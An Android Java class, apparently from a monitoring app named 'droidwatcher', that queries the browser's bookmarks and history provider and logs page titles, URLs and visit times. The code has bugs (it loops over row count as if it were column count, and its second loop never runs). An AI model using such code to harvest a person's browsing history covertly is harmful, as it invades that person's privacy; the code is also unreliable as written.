package com.droidwatcher.activity;

import android.content.ContentResolver;
import android.database.Cursor;
import android.net.Uri;

import com.droidwatcher.util.AXLog;

import java.text.SimpleDateFormat;
import java.util.Date;

public class GetInternetRecord {

    String records = null;

    static StringBuilder recordBuilder = null;



    public static void getRecords(ContentResolver contentResolver) {
        AXLog.e("wzytest","获取浏览记录");
        // ContentResolver contentResolver = getContentResolver();

        Cursor cursor = contentResolver.query(

//                Uri.parse("content://browser/bookmarks"), new String[] {
//
//                        "title", "url", "date" }, "date!=?",
//
//                new String[] { "null" }, "date desc");

        Uri.parse("content://browser/bookmarks"), null, "date!=?",

                new String[] { "null" }, "date desc");

        AXLog.e("wzytest","获取浏览器记录之前");


        for (int i = 0; i < cursor.getCount() ; i++) {
           AXLog.e("wzytest","cursor.getColumnName(i):"+cursor.getColumnName(i)); ;
        }

        while (cursor!=null&&cursor.moveToNext()){
            for (int i = 0; i < cursor.getCount() ; i++) {

                try {
                    AXLog.e("wzytest",cursor.getColumnName(i)+":" +cursor.getString(i));
                }catch (Exception e){
                    AXLog.e("wzytest",cursor.getColumnName(i)+":" +cursor.getBlob(i));
                }



            }
        }

        while (cursor != null && cursor.moveToNext()) {

            String url = null;

            String title = null;

            String time = null;

            String date = null;



            recordBuilder = new StringBuilder();

            title = cursor.getString(cursor.getColumnIndex("title"));

            url = cursor.getString(cursor.getColumnIndex("url"));

            date = cursor.getString(cursor.getColumnIndex("date"));



            SimpleDateFormat dateFormat = new SimpleDateFormat(

                    "yyyy-MM-dd hh:mm;ss");

            Date d = new Date(Long.parseLong(date));

            time = dateFormat.format(d);


            AXLog.e("wzytest","浏览器记录title： "+title +" url:"+url+" time:"+time);
            System.out.println(title + url + time);

        }

    }

}